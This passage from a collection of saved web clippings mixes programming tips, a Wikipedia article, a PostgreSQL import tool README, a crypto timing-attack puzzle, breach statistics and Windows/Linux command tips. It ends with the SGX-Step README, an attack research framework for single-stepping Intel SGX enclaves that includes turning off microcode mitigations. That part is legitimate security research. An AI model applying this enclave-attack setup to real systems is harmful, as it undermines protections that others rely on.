be mispredicted quite often.  
  
How can we remove the if-then-else, then? One solution is to use the right
shift operator \(>>\) and the bitwise XOR operator \(^\) as following:  
  
inline int abs\_no\_branch\(int x\)  
\{  
int m = \(x >> \(8 \* sizeof\(int\)-1\)\);  
return \(\(x ^ m\) - m\);  
\}  
  
Where the expression \(8 \* sizeof\(int\) - 1\) evaluates to 15, 31, or 63
depending on the size of integers on the target computer.  
  
_Further detailed reading about this technique here:Branchless Equivalents of
Simple Functions._  
  
Follow @dodgy\_coder  

# Software compartmentalization vs. physical separation

**Created:**| _8/29/2014 9:05:33 AM_  
---|---  
**Updated:**| _8/29/2014 9:18:40 AM_  
**Author:**| __  
**Tags:**| _virtusalisation_  
  
<img src='img/Software_compartmentalization_vs_physical_separation.pdf' />

# Linguistic relativity - Wikipedia, the free encyclopedia

**Created:**| _10/31/2009 8:10:58 PM_  
---|---  
**Updated:**| _10/31/2009 8:11:05 PM_  
**Author:**| __  
**Tags:**| _bookmark programming_  
  

# Linguistic relativity

### From Wikipedia, the free encyclopedia

\(Redirected from Sapir-Whorf hypothesis\)

The **linguistic relativity** principle \(also known as the **Sapir-Whorf
Hypothesis**\) is the idea that the varying cultural concepts and categories
inherent in different languages affect the cognitive classification of the
experienced world in such a way that speakers of different languages think and
behave differently because of it.

The idea that linguistic structure influences the cognition of language users
has bearings on the fields of anthropological linguistics, psychology,
psycholinguistics,neurolinguistics, cognitive science, linguistic
anthropology, sociology of language and philosophy of language, and it has
been the subject of extensive studies in all of these fields. The idea of
linguistic influences on thought has also captivated the minds of authors and
creative artists inspiring numerous ideas in literature, in the creation of
artificial languages and even forms of therapy such as neuro-linguistic
programming.

The idea originated in the German national romantic thought of the early 19th
century where language was seen as the expression of the spirit of a nation,
as put particularly byWilhelm von Humboldt. The idea was embraced by figures
in the incipient school of American anthropology such as Franz Boas and Edward
Sapir. Sapir's student Benjamin Lee Whorf added observations of how he
perceived these linguistic differences to have consequences in human cognition
and behaviour. Whorf has since been seen as the primary proponent of the
principle of linguistic relativity.

Whorf's insistence on the importance of linguistic relativity as a factor in
human cognition attracted opposition from many sides. Psychologist Eric
Lenneberg decided to put Whorf's assumptions and assertions to the test. He
formulated the principle of linguistic relativity as a testable hypothesis and
undertook a series of experiments testing whether traces of linguistic
relativity could be determined in the domain of color perception. In the 1960s
the idea of linguistic relativity fell out of favor in the academical
establishment, since the prevalent paradigm in linguistics and anthropology,
personified in Noam Chomsky, stressed the universal nature of human language
and cognition. When the 1969 study of Brent Berlin and Paul Kay showed that
color terminology is subject to universal semantic constraints, the Sapir-
Whorf hypothesis was seen as completely discredited.

From the late 1980s a new school of linguistic relativity scholars, rooted in
the advances within cognitive and social linguistics, have examined the
effects of differences in linguistic categorization on cognition finding broad
support for the hypothesis in experimental contexts.\[1\] Effects of
linguistic relativity have been shown particularly in the domain of spatial
cognition and in the social use of language, but also in the field of color
perception. Recent studies have shown that color perception is particularly
prone to linguistic relativity effects when processed in the left brain
hemisphere, suggesting that this brain half relies more on language than the
right one.\[2\] Currently a balanced view of linguistic relativity is espoused
by most linguists holding that language influences certain kinds of cognitive
processes in non trivial ways but that other processes are better seen as
subject to universal factors. Current research is focused on exploring the
ways in which language influences thought and determining to which
extent.\[1\]

# lukasmartinelli/pgfutter

**Created:**| _9/20/2016 10:02:11 PM_  
---|---  
**Updated:**| _9/20/2016 10:02:11 PM_  
**Author:**| __  
**Tags:**| __  
  

  

###  README.md

# pgfutter <img
src='img/68747470733a2f2f7472617669732d63692e6f72672f6c756b61736d617274696e656c6c692f70676675747465722e7376673f6272616e63683d6d6173746572'
width='81' height='20' alt='Build Status' /> <img
src='img/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f6c756b61736d617274696e656c6c692f7067667574746572'
width='88' height='20' alt='Go Report Card' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f6c6963656e73652d4d49542532304c6963656e73652d626c75652e737667'
width='122' height='20' alt='License' />

<img src='img/elephant.jpg' width='250' height='211' alt='elephant' />

Import CSV and JSON into PostgreSQL the easy way. This small tool abstract all
the hassles and swearing you normally have to deal with when you just want to
dump some data into the database.

Features:

  * Generated import tables \(` pgfutter csv <file> ` and your done\)
  * Good performance using the ` COPY ` streaming protocol
  * Easy deployment
  * Dealing with import errors
  * Import over the network

> Check out pgclimb for exporting data from PostgreSQL into different data
> formats.
## Install

You can download a single binary for Linux, OSX or Windows.

**OSX**

[code]

    wget -O pgfutter https://github.com/lukasmartinelli/pgfutter/releases/download/v1.1/pgfutter_darwin_amd64
    chmod +x pgfutter
    
    ./pgfutter --help
[/code]

**Linux**

[code]

    wget -O pgfutter https://github.com/lukasmartinelli/pgfutter/releases/download/v1.1/pgfutter_linux_amd64
    chmod +x pgfutter
    
    ./pgfutter --help
[/code]

**Install from source**

[code]

    go get github.com/lukasmartinelli/pgfutter
[/code]

If you are using Windows or 32-bit architectures you need to download the
appropriate binary yourself.

## Import CSV

` pgfutter ` will deal with CSV files conforming to RFC 4180.

Create ` friends.csv `.

[code]

    normalname,age,friends
    Jacob,26,"Anthony"
    Anthony,25,""
    Emma,28,"Jacob,Anthony"
    normal
[/code]

Import the CSV file.

[code]

    pgfutter csv friends.csv
[/code]

Because header rows are already provided ` pgfutter ` will create the
appropriate table and copy the rows.

name | age | friends  
---|---|---  
Jacob | 26 | Anthony  
Anthony | 25 |   
Emma | 28 | Jacob,Anthony  
` pgfutter ` will only help you to get the data into the database. After that
SQL is a great language to sanitize and normalize the data according to your
desired database schema.

[code]

    CREATE TABLE public.person (
        name VARCHAR(200) PRIMARY KEY,
        age INTEGER
    )
    
    CREATE TABLE public.friendship (
        person VARCHAR(200) REFERENCES public.person(name),
        friend VARCHAR(200) REFERENCES public.person(name)
    )
    
    INSERT INTO public.person
    SELECT name, age::int
    FROM import.friends
    
    WITH friends AS
        (SELECT name as person, regexp_split_to_table(friends, E'\\,') AS friend
        FROM import.friends)
    INSERT INTO public.friendship
    SELECT * FROM
    friends WHERE friend <> ''
[/code]

## Import JSON

A lot of event logs contain JSON objects nowadays \(e.g. GitHub Archive\). `
pgfutter ` expects each line to have a valid JSON object. Importing JSON is
only supported for Postgres 9.3 and Postgres 9.4 due to the ` JSON ` type.

Create ` friends.json `.

[code]

    {"name": "Jacob", "age": 26, "friends": ["Anthony"]}
    {"name": "Anthony", "age": 25, "friends": []}
    {"name": "Emma", "age": 28, "friends": ["Jacob", "Anthony"]}
    
[/code]

Import the JSON file.

[code]

    pgfutter json friends.json
[/code]

Your JSON objects will be stored in a single JSON column called ` data `.

data  
---  
` {"name": "Jacob", "age": 26, "friends": ["Anthony"]} `  
` {"name": "Anthony", "age": 25, "friends": []} `  
` {"name": "Emma", "age": 28, "friends": ["Jacob", "Anthony"]} `  
PostgreSQL has excellent JSON support which means you can then start
normalizing your data.

[code]

    CREATE TABLE public.person (
        name VARCHAR(200) PRIMARY KEY,
        age INTEGER
    )
    
    CREATE TABLE public.friendship (
        person VARCHAR(200) REFERENCES public.person(name),
        friend VARCHAR(200) REFERENCES public.person(name)
    )
    
    INSERT INTO public.person
    SELECT data->>'name' as name, (data->>'age')::int as age
    FROM import.friends
    
    INSERT INTO public.friendship
    SELECT data->>'name' as person, json_array_elements_text(data->'friends')
    FROM import.friends
[/code]

## Database Connection

Database connection details can be provided via environment variables or as
separate flags.

name | default | description  
---|---|---  
` DB_NAME ` | ` postgres ` | database name  
` DB_HOST ` | ` localhost ` | host name  
` DB_PORT ` | ` 5432 ` | port  
` DB_SCHEMA ` | ` import ` | schema to create tables for  
` DB_USER ` | ` postgres ` | database user  
` DB_PASS ` |  | password \(or empty if none\)  
## Advanced Use Cases

### Custom delimiter

Quite often you want to specify a custom delimiter \(default: ` , `\).

[code]

    pgfutter csv -d "\t" traffic_violations.csv
[/code]

You have to use ` " ` as a quoting character and ` \ ` as escape character.
You might omit the quoting character if it is not necessary.

### Using TAB as delimiter

If you want to use tab as delimiter you need to pass ` $'\t' ` as delimiter to
ensure your shell does not swallow the correct delimiter.

[code]

    pgfutter csv -d $'\t' traffic_violations.csv
[/code]

### Custom header fields

If you want to specify the field names explicitly you can skip the header row
and pass a comma separated field name list.

[code]

    pgfutter csv --skip-header --fields "name,state,year" traffic_violations.csv
[/code]

If you don't have a header row in a document you should specify the field
names as well.

[code]

    pgfutter csv --fields "name,state,year" traffic_violations.csv
[/code]

### Encoding

All CSV files need to be ` utf-8 ` encoded. No other encoding is supported.
Encoding is a nasty topic and you should deal with it before it enters the
database.

### Dealing with invalid input

A lot of CSV files don't confirm to proper CSV standards. If you want to
ignore errors you can pass the ` --ignore-errors ` flag which will commit the
transaction even if some rows cannot be imported. The failed rows will be
written to stdout so you can clean them up with other tools.

[code]

    pgfutter --ignore-errors csv traffic_violations.csv 2> traffic_violations_errors.csv
[/code]

This works the same for invalid JSON objects.

### Custom Table

` pgfutter ` will take the sanitized filename as the table name. If you want
to specify a custom table name or import into your predefined table schema you
can specify the table explicitly.

[code]

    pgfutter csv --table violations traffic_violations.csv
[/code]

### Import single JSON object

Instead of using JSON lines you can also import a single JSON object into the
database. This will load the JSON document into memory first.

[code]

    pgfutter jsonobj document.json
[/code]

## Alternatives

For more sophisticated needs you should take a look at pgloader.

## Regression Tests

The program is tested with open data sets from around the world.

Download all samples into the folder ` samples `.

[code]

    ./download-samples.sh
[/code]

Run import regression tests against the samples.

[code]

    ./test.sh
[/code]

## Cross-compiling

We use gox to create distributable binaries for Windows, OSX and Linux.

[code]

    docker run --rm -v "$(pwd)":/usr/src/pgfutter -w /usr/src/pgfutter tcnksm/gox:1.4.2-light
[/code]

  

# Vuln Hunt: Find the Security Vulnerability Challenge \#1 | Cyber Trust Blog
**Created:**| _10/10/2014 11:43:26 AM_  
---|---  
**Updated:**| _10/10/2014 11:43:26 AM_  
**Author:**| __  
**Tags:**| __  
  

# Vuln Hunt: Find the Security Vulnerability Challenge \#1

Whether it’s a riddle, puzzle, or detective mystery novel, most of us like to
solve a good brain teaser. As security and program experts, these types of
conundrums keep us on our toes. During the next few weeks, I’ll share some of
my favorites, and see if you can find the security vulnerability. For this
first one, let’s take a look at authenticated encryption. Two points are
possible for solving this stumper, plus an extra bonus point. Question:

<img src='img/Temp2_9013.jpg' alt='vulnhunt1' />

First off, let’s give one point to the programmer, who realized that many
encryption algorithms do not in themselves provide any integrity protection.

Encryption prevents an eavesdropper “Eve” from reading the message that Alice
sends to Bob, but contrary to popular belief, it does not prevent Eve from
intercepting and tampering with that message. \(There are notable exceptions
such as Galois/Counter Mode \(GCM\) and Counter with CBC-MAC \(CCM\)
encryption modes, but for the purposes of this question we will assume that a
non-authenticated encryption mode such as Cipher-block Chaining \(CBC\) was
used.\)

We also give a point to the programmer for using an encrypt-then-MAC design.

Alternative approaches \(MAC-then-encrypt and encrypt-and-MAC\) are extremely
dangerous and have led to several serious security vulnerabilities: read Moxie
Marlinspike’s blog post on the “Cryptographic Doom Principle” if you’d like to
delve deeper. Give yourself a point if you realized that an encrypt-then-MAC
approach is _not_ a security bug.

However, although the programmer correctly validates the HMAC before
decrypting, he does so a byte at a time and returns false as soon as he gets a
mismatched byte. This means that a tampered HMAC value will fail slightly
faster if the first byte is wrong than if the first byte is right. A
persistent attacker may be able to exploit this timing difference to craft a
valid HMAC for a tampered message. Give yourself a point if you found this
timing attack vulnerability in the for-loop.

Finally, although it’s not a security “bug” per se, give yourself a bonus
point if you noted that this code uses hardcoded cryptographic algorithms and
is therefore not cryptographically agile.

All crypto weakens over time, and while HMAC-SHA256 is considered a strong
algorithm now, that may change in the future \(and perhaps suddenly\). You
should plan for this eventuality now and avoid hardcoding cryptographic
algorithms into your code: see “Cryptographic Agility” for more details.

While finding a solution can be entertaining, it can also be serious business
when it comes to security. For us, the goal is to provide even greater
protection for data across all the great Microsoft services you use and depend
on every day.

Next week, we’ll take a look at regular expressions.

###### About the Author

<img src='img/Temp2_9014.jpg' width='128' height='128' alt='Bryan Sullivan' />

#### Bryan Sullivan

##### Principal Security Program Manager, Trustworthy Computing

Bryan Sullivan is a Principal Security Program Manager in the Microsoft Secure
Development team, where he focuses on cryptography and cloud security. Bryan
has spoken at security industry conferences such as RSA Conference, Black Hat,
BlueHat, OWASP AppSec and TechEd Read more »

Back  
to top

# Data breach activity reaches all-time high - Help Net Security

**Created:**| _5/23/2017 12:55:45 PM_  
---|---  
**Updated:**| _5/23/2017 12:55:45 PM_  
**Author:**| __  
**Tags:**| _bookmark statistics awareness_  
  

  

# Data breach activity reaches all-time high

Read the latest issue of the \(IN\)SECURE Magazine

With over 1,200 breaches and over 3.4 billion records exposed, 2017 is already
on pace to be yet another “worst year on record” for data breach activity,
according to Risk Based Security.

<img src='img/Temp2_1965.jpg' width='638' height='252' alt='data breach
activity' />

### W-2 phishing

“The trends that drove the extraordinary activity in 2016 are continuing
unabated in 2017” said Inga Goddijn, Risk Based Security’s Executive Vice
President. “We have seen the return of widespread phishing for W-2 details,
large datasets continue to be offered for sale and misconfigured databases
remain a thorny problem for IT administrators”.

Targeting information useful for filing false tax returns is not a new
practice and neither is phishing unsuspecting employees in order to obtain
valuable information. However the practice of emulating a trusted party and
requesting copies of W-2 forms has clearly become a favorite money making
scheme for the first quarter.

### BEC scams

The trend came to prominence last year, when more than 60 organizations fell
for the specialized phishing scam in Q1 of 2016. Known as Business Email
Compromise, or BEC, the practice generally involves sending an email
impersonating a trusted colleague or business partner, requesting either a
funds transfer or personal information. Despite the experience in 2016 and
warnings from the IRS in January and February of this year, over 200
organizations fell for the scam in first 3 months of 2017.

“What I find especially striking about these breaches how is reluctant
organizations are to disclose the number of W-2 records lost in the phishing
event,” said Goddijn. “When it comes to consumer or medical data, chances are
good the number of records compromised will be reported. But in the case of
employee W-2 data, the severity of the event is often swept under the rug.”

### Sale of large datasets

Another 2016 trend that continued into Q1 2017 is the sale of large datasets.
One particular seller was especially active this past quarter, offering for
sale various username and password combinations gathered from 11 different
organizations and impacting a whopping 1.5 billion records in total. The
validity of the data has not yet been independently verified, raising some
concerns about the accuracy of the information being sold. However, there is
also no indication the data was gathered from prior data dumps or reason to
believe the data is anything other than as represented by the seller. What is
clear is that as long as organizations rely on the traditional username and
password combination for authentication, datasets like these will continue to
have value to malicious actors.

######

First three months of 2017 exposed records by threat vector

<img src='img/Temp2_1966.jpg' width='638' height='296' alt='data breach
activity' />

### Misconfigurations

Much like phishing for W-2 data, the problem of misconfigured database
installations and Rsync services continues to contribute significantly to
overall breach activity. Although researchers have been warning of the problem
for years, the ease of finding and accessing the data has caught the attention
of individuals with less than honorable intentions. 2017 started with a wave
of extortion demands, targeting open, unsecured MongoDB instances.

Exactly how many databases were scraped, deleted, held for ransom or otherwise
tampered with remains unknown. It is clear that what started as a quick money
making endeavor quickly devolved into dumping the contents of the databases on
file sharing forums. Organizations such as Science Mobile – the makers of the
popular Wishbone app – RankWatch and Careerlister saw millions of records
taken from open MongoDBs and later dumped on the Internet.

In the most striking example of misconfiguration problems, River City Media,
LLC, an organization with a somewhat checkered reputation, accidentally
exposed 1,374,159,612 records containing personal information as well as
sensitive internal business documents in a faulty Rsync backup. Not only is
this the largest misconfiguration incident on record, it is now the single
largest breach disclosed through Q1 2017.

“With breach activity showing no signs of slowing down, it’s become more
important than ever to understand the drivers behind data loss. This is
especially true when it comes to understanding the risk factors facing our
third party business partners. Monitoring for leaked credentials, verifying
security hygiene and getting alerted to new breach activity are now critical
components of the vendor risk management process,” added Goddijn.

  

# Command Line Kung Fu: Episode \#62: Anybody Using This?

**Created:**| _11/24/2009 7:23:56 PM_  
---|---  
**Updated:**| _11/24/2009 7:24:00 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#62: Anybody Using This?

_Ed is currently auditioning for the coveted title role in "Where in the World
is Carmen San Diego?" So in the meantime we've invited Sifu Tim Medin to bring
the Windows madness to the Command Line Kung Fu dojo. Tim's also got his own
blog over atblog.SecurityWhole.com, where he's lately been throwing down some
Powershell solutions to our earlier Episodes._  
  
Tim wanders in:  
  
So it has happened to all of us, a server needs to be taken down for some
reason or another, but you can't just yank it out of production. Users have to
be notified before taking it offline. The problem is we don't know who is
logged in. And there may be quite a few users, especially in the Windows world
of Terminal Services. Windows has two commands to help us out, quser and
qwinsta \(short for Query WINdows STAtion\). Both commands can be used to find
out who is logged in locally and both accept the /server option to query
another server.  
  
Quser in action:  
  

[code]

    C:\> **quser /server:Alpha**  
     USERNAME   SESSIONNAME    ID  STATE   IDLE TIME  LOGON TIME  
     larry      rdp-tcp#5       5  Active          .  9/29/2009 5:43 AM  
     moe                        1  Disc        none   9/29/2009 9:32 AM
    
[/code]

  
The problem is, quser is NOT included in Windows XP so we will use qwinsta for
compatibility. Too bad, since quser would have been a better fit for two
reasons. First, it only displays active and disconnected sessions instead of
listeners. Second, the username is the first item, and we all know that
parsing text from the Windows command line is a pain.  
  
Qwinsta in action:  
  

[code]

    C:\> **qwinsta /server:Alpha**  
     SESSIONNAME   USERNAME       ID  STATE   TYPE        DEVICE  
     console                       0  Conn    wdcon  
     rdp-tcp                   65536  Listen  rdpwd  
     rdp-tcp#5     larry           5  Active  rdpwd  
                   moe             1  Disc    wdica  
      
    C:\> **qwinsta /server:Omega**  
     SESSIONNAME   USERNAME       ID  STATE   TYPE        DEVICE  
     console       curly           0  Active  wdcon  
     rdp-tcp                   65536  Listen  rdpwd
    
[/code]

  
Shown above are two servers, Alpha and Omega. Server Alpha has two
connections, one from Larry \(connected\) and Moe \(disconnected\). Curly is
the only user logged to Omega, and is logged via the console.  
  
We don't care about the listening sessions so we can filter the results for
active and disconnected sessions. By using the findstr command we can search
for an active or disconnected session. A space between search terms is treated
as a logical OR.  
  

[code]

    C:\> **qwinsta /server:Alpha | findstr "Active Disc"**  
     rdp-tcp#5     larry           5  Active  rdpwd  
                   moe             1  Disc    wdica  
      
    C:\> **qwinsta /server:Omega | findstr "Active Disc"**  
     console       curly           0  Active  wdcon
    
[/code]

  
We only want the username so we will have to have to use our handy dandy FOR
loop to parse it \(Episode 48\). This is made more difficult since a
disconnected session doesn't have a session name and throws off the parsing.
Here is what I mean:  
  

[code]

    C:\> **for /F %i in ('qwinsta /server:Alpha ^| findstr "Active Disc"') do @echo %i**  
     rdp-tcp#5  
    moe
    
[/code]

  
What we get is the first string on each line of the output, not quite what we
want. The for loop divides the string into tokens using white space as a
delimiter, and leading spaces are discarded. If there is a session name, we
need to display the second token, otherwise, we need to display the first
token. If you notice, sessions names either contain '\#' or 'console', and we
can use this nugget to ensure the right bit of information is displayed.  
  

[code]

    C:\> **for /F "tokens=1,2" %i in ('qwinsta /server:Alpha ^| findstr "Active Disc"')  
     do @echo %i | find /v "#" | find /v "console" || echo %j**  
    larry  
    moe
    
[/code]

  
The username will either be located in the first or second token, represented
by %i and %j respectively. Remember, any tokens after the first use a
different letter of the alphabet, so if we used the third and forth tokens
they would be represented by %k and %l. Ok, so now we have the username but we
don't know if it is in variable %i or %j. How do we do that?  
  
If you remember from previous posts, 'find /v' only returns lines NOT
containing the specified string. In our example we use it twice to filter %i
if it contains '\#' or 'console'. The "||" is used to only execute the next
command if the previous command fails \(see Episode 47\). A command is deemed
to have failed if it raises an error or if it returns no output.  
  
We can logically combine these pieces to display the username. We attempt to
echo %i, but if it contains '\#' or 'console' then nothing is returned, since
nothing is returned it is treated like a failure and the next command is
executed \(echo %j\). And there we \(finally\) have the username.  
  
At least we don't have to use wmic, because that post would have required a
dissertation.  
  

[code]

    C:\> **cmd.exe /v:on /c "for /F "tokens=2 DELIMS=," %i in  
    ('wmic /node:SERVER path win32_loggedonuser get Antecedent /value ^| find /v "SERVICE"')  
    do @set var=%i & @echo !var:~6,-4!"**
    
[/code]

  
Somehow I think Hal will have an easier way of doing this in Linux...  
  
Hal takes over:  
  
"Easier way of doing this in Linux"? Holy cow, Tim\! I'm having trouble
thinking of how there could be anything harder than the solution that Windows
forces on you. Wowzers...  
  
There are at least three different ways to get a list of users currently
logged into the local system. First there's the w command:  
  

[code]

    $ **w**  
     14:12:19 up 5 days,  4:36, 10 users,  load average: 1.73, 2.04, 1.88  
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT  
    hal      tty7     :0               Tue13    5days  1:21   0.40s x-session-manag  
    hal      pts/0    :0.0             Tue13   27:39m  5.20s  5.20s ssh deer  
    hal      pts/1    :0.0             Tue13    6:12   1.92s  1:55m gnome-terminal  
    hal      pts/2    :0.0             Tue13    0.00s  0.02s  0.02s w  
    hal      pts/3    192.168.1.129    14:11   28.00s  0.00s  0.00s -bash
    
[/code]

  
The w command gives us lots of information, including the command that each
user is currently running on their tty. Things that are labeled with ":0\*" in
the FROM column are local X windows-related processes on the system console.
Remote logins are labeled with the IP address of the remote host in the FROM
column. The IDLE time column can help decide how actively a given user is
using the machine, though be careful about long running jobs that a user may
have started some time ago but which shouldn't be shut down. The only problem
with w is that the output can be more difficult to parse in shell pipelines
because of the extra uptime information and header line at the beginning of
the output.  
  
The who command produces output that's easier to parse, but which contains
much less detail:  
  

[code]

    $ **who**  
     hal      tty7         2009-09-22 13:11 (:0)  
    hal      pts/0        2009-09-22 13:11 (:0.0)  
    hal      pts/1        2009-09-22 13:11 (:0.0)  
    hal      pts/2        2009-09-22 13:11 (:0.0)  
    hal      pts/3        2009-09-27 14:11 (192.168.1.129)
    
[/code]

  
There's also the finger command, which works on the local system even if you
currently don't have the finger daemon enabled.  
  

[code]

    $ **finger**  
     Login     Name           Tty      Idle  Login Time   Office     Office Phone  
    hal       Hal Pomeranz   tty7       5d  Sep 22 13:11 (:0)  
    hal       Hal Pomeranz   pts/0      28  Sep 22 13:11 (:0.0)  
    hal       Hal Pomeranz   pts/1    6:13  Sep 22 13:11 (:0.0)  
    hal       Hal Pomeranz   pts/2          Sep 22 13:11 (:0.0)  
    hal       Hal Pomeranz   pts/3       1  Sep 27 14:11 (192.168.1.129)
    
[/code]

  
Frankly, finger has the same parsing difficulties as w, but provides less
information overall, so I don't find it that useful.  
  
But all of these commands only work on the local system. So how would you got
information on who's logged into a remote machine? Why with ssh of course:  
  

[code]

    $ **ssh remotehost who | awk '{print $1}' | sort -u**  
     hal  
    root  
    sally
    
[/code]

  
Here I'm SSHing into the machine remotehost and running the who command. The
output of that command gets piped into awk on the local machine where I pull
the usernames out of the first column of output. The sort command puts the
usernames into alphabetical order and the "-u" \(unique\) option removes
duplicate lines. And that's my final answer, Regis.  
  
However, since Tim started out with the scenario of having a server that needs
to get shut down, I just wanted to mention a couple of other items. First, if
you use the Unix shutdown command \(which we talked about way back in Episode
7\), all of the currently logged in users will get a message \(actually lots
of messages, which is why shutdown is so darned annoying\) sent to their tty
letting them know that the system is being shut down. If you include your
contact info in the message, the users can get ahold of you and request that
you abort the shutdown.  
  
The other item worth mentioning here is that if you create the file
/etc/nologin, then the system will not allow new user logins. The contents of
the /etc/nologin file will be displayed users who try to log into the system:  
  

[code]

    $ **ssh remotehost**  
     hal@remotehost's password:  
    Logins are currently disabled because the system will be shut down shortly.  
    System will resume normal operations at noon PDT.  
      
    Connection closed by 192.168.1.17
    
[/code]

  
Typically the shutdown command will create /etc/nologin automatically as the
shutdown time gets close. But you can also create this file yourself to
customize the message your users see.

# jovanbulck/sgx-step

**Created:**| _3/2/2019 6:37:51 PM_  
---|---  
**Updated:**| _3/2/2019 6:37:51 PM_  
**Author:**| _wishi_  
**Tags:**| _intel msr architecture sgx_  
  

  

# A Practical Attack Framework for Precise Enclave Execution Control

<img src='img/Temp2_10431.png' width='160' height='139' alt='logo' />

SGX-Step is an open-source framework to facilitate side-channel attack
research on Intel SGX platforms. SGX-Step consists of an adversarial Linux
kernel driver and user space library that allow to configure untrusted page
table entries and/or x86 APIC timer interrupts completely from user space. Our
research results have demonstrated several new and improved enclaved execution
attacks that gather side-channel observations at a maximal temporal resolution
\(i.e., by interrupting the victim enclave after _every_ single instruction\).

**License.** SGX-Step is free software, licensed under GPLv3. The SGX-Step
logo is derived from Eadweard Muybridge's iconic public domain "Sallie Gardner
at a Gallop" photo series, which, like our enclave single-stepping goal,
breaks down the galloping horse dynamics into a series of individual photo
frames to reveal overall horse gait properties.

SGX-Step release | Publication details | Comments  
---|---|---  
v1.3.0 | USEC'18 | Transient execution \(Foreshadow attack\).  
v1.2.0 | CCS'18 | User space interrupt handling \(Nemesis interrupt timing attack\).  
v1.1.0 | ESSoS'18 | IA32 support.  
v1.0.0 | SysTEX'17 | Original SGX-Step framework.  
## Abstract

Trusted execution environments such as Intel SGX hold the promise of
protecting sensitive computations from a potentially compromised operating
system. Recent research convincingly demonstrated, however, that SGX's
strengthened adversary model also gives rise to to a new class of powerful,
low-noise side-channel attacks leveraging first-rate control over hardware.
These attacks commonly rely on frequent enclave preemptions to obtain fine-
grained side-channel observations. A maximal temporal resolution is achieved
when the victim state is measured after every instruction. Current state-of-
the-art enclave execution control schemes, however, do not generally achieve
such instruction-level granularity.

This paper presents SGX-Step, an open-source Linux kernel framework that
allows an untrusted host process to configure APIC timer interrupts and track
page table entries directly from user space. We contribute and evaluate an
improved approach to single-step enclaved execution at instruction-level
granularity, and we show how SGX-Step enables several new or improved attacks.
Finally, we discuss its implications for the design of effective defense
mechanisms.

> Jo Van Bulck, Frank Piessens, and Raoul Strackx. 2017. SGX-Step: A Practical
> Attack Framework for Precise Enclave Execution Control. In Proceedings of
> the 2nd Workshop on System Software for Trusted Execution \(SysTEX '17\).
## Overview

Crucial to the design of SGX-Step, as opposed to previous enclave preemption
proposals, is the creation of user-space virtual memory mappings for physical
memory locations holding page table entries, as well as for the local APIC
memory-mapped I/O configuration registers and the x86 Interrupt Descriptor
Table \(IDT\). This allows an untrusted, attacker-controlled host process to
easily \(i\) track or modify enclave page table entries, \(ii\) configure the
APIC timer one-shot/periodic interrupt source, \(iii\) trigger inter-processor
interrupts, and \(iv\) register custom interrupt handlers completely _within_
user space.

<img src='img/Temp2_10430.png' width='693' height='391' alt='sgx-step-
framework' />

The above figure summarizes the sequence of hardware and software steps when
interrupting and resuming an SGX enclave through our framework.

  1. The local APIC timer interrupt arrives within an enclaved instruction.
  2. The processor executes the AEX procedure that securely stores execution context in the enclave’s SSA frame, initializes CPU registers, and vectors to the \(user space\) interrupt handler registered in the IDT.
  3. At this point, any attack-specific, spy code can easily be plugged in.
  4. The library returns to the user space AEP trampoline. We modified the untrusted runtime of the official SGX SDK to allow easy registration of a custom AEP stub. Furthermore, to enable precise evaluation of our approach on attacker-controlled benchmark debug enclaves, SGX-Step can _optionally_ be instrumented to retrieve the stored instruction pointer from the interrupted enclave’s SSA frame. For this, our `/dev/sgx-step` driver offers an optional IOCTL call for the privileged `EDBGRD` instruction.
  5. Thereafter, we configure the local APIC timer for the next interrupt by writing into the initial-count MMIO register, just before executing \(6\) `ERESUME`.

## Building and Running

### 0\. System Requirements

SGX-Step requires an SGX-capable Intel processor, and an off-the-shelf Linux
kernel. Our evaluation was performed on i7-6500U/6700 CPUs, running Ubuntu
16.04 with a stock Linux 4.15.0 kernel. We summarize Linux kernel parameters
below.

Linux kernel parameter | Motivation  
---|---  
`nox2apic` | Configure local APIC device in memory-mapped I/O mode \(to make use of SGX-Step's precise single-stepping features\).  
`iomem=relaxed, no_timer_check` | Suppress unneeded warning messages in the kernel logs.  
`isolcpus=1` | Affinitize the victim process to an isolated CPU core.  
`dis_ucode_ldr` | Disable CPU microcode updates \(Foreshadow/L1TF mitigations may affect single-stepping interval\).  
Pass the desired boot parameters to the kernel as follows:

[code]

    $ sudo vim /etc/default/grub
      # GRUB_CMDLINE_LINUX_DEFAULT="quiet splash nox2apic iomem=relaxed no_timer_check isolcpus=1"
    $ sudo update-grub && sudo reboot
[/code]

Finally, in order to reproduce our experimental results, make sure to disable
C-States and SpeedStep technology in the BIOS configuration. The table below
lists currently supported Intel CPUs, together with their single-stepping APIC
timer interval \(`libsgxstep/config.h`\).

Model name | CPU | Base frequency | APIC timer interval  
---|---|---|---  
Dell Latitude 7490 | i7-8650U | 1.9 GHz | 42  
Dell Inspiron 13 7359 | i7-6500U | 2.5 GHz | 25  
Dell Optiplex 7040 | i7-6700 | 3.4 GHz | 19  
Acer Aspire V15 | i5-6200U | 2.3 GHz | 28  
### 1\. Patch and install SGX SDK

To enable easy registration of a custom Asynchronous Exit Pointer \(AEP\)
stub, we modified the untrusted runtime of the official Intel SGX SDK. Proceed
as follows to checkout linux-sgx v2.2 and apply our patches.

[code]

    $ git submodule init
    $ git submodule update
    $ ./patch_sdk.sh
[/code]

Now, follow the instructions in the linux-sgx project to build and install the
Intel SGX SDK and PSW packages. You will also need to build and load an
\(unmodified\) linux-sgx-driver SGX kernel module in order to use SGX-Step.

**Note \(local installation\).** The patched SGX SDK and PSW packages can be
installed locally, without affecting a compatible system-wide 'linux-sgx'
installation. For this, the example Makefiles support an `SGX_SDK` environment
variable that points to the local SDK installation directory. When detecting a
non-default SDK path \(i.e., not `/opt/intel/sgxsdk`\), the "run" Makefile
targets furthermore dynamically link against the patched `libsgx_urts.so`
untrusted runtime built in the local `linux-sgx` directory \(using the
`LD_LIBRARY_PATH` environment variable\).

**Note \(32-bit support\).** Instructions for building 32-bit versions of the
SGX SDK and SGX-Step can be found in README-m32.md.

### 2\. Build and load `/dev/sgx-step`

SGX-Step comes with a loadable kernel module that exports an IOCTL interface
to the `libsgxstep` user-space library. The driver is mainly responsible for
\(i\) hooking the APIC timer interrupt handler, \(ii\) collecting untrusted
page table mappings, and optionally \(iii\) fetching the interrupted
instruction pointer for benchmark enclaves.

To build and load the `/dev/sgx-step` driver, execute:

[code]

    $ cd kernel
    $ make clean load
[/code]

**Note \(/dev/isgx\).** Our driver uses some internal symbols and data
